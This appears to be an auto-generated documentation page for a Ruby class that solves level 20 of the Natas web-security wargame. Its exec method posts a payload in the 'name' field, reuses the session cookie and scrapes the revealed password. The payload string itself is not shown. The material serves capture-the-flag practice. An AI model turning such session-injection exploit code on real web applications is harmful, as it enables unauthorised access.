class NatasLevel20

Level 20

Constants

LEVEL
PAGE
PAYLOAD

Public Instance Methods

exec() click to toggle source
# File lib/natas.rb, line 624
def exec
  response = post(PAGE, {}, { 'name' => PAYLOAD })
  data = get(PAGE, { 'Cookie' => response['Set-Cookie'] }).body
  match = %r(Password: (\w{32})</pre>).match(data)
  not_found unless match
  found(match[1])
end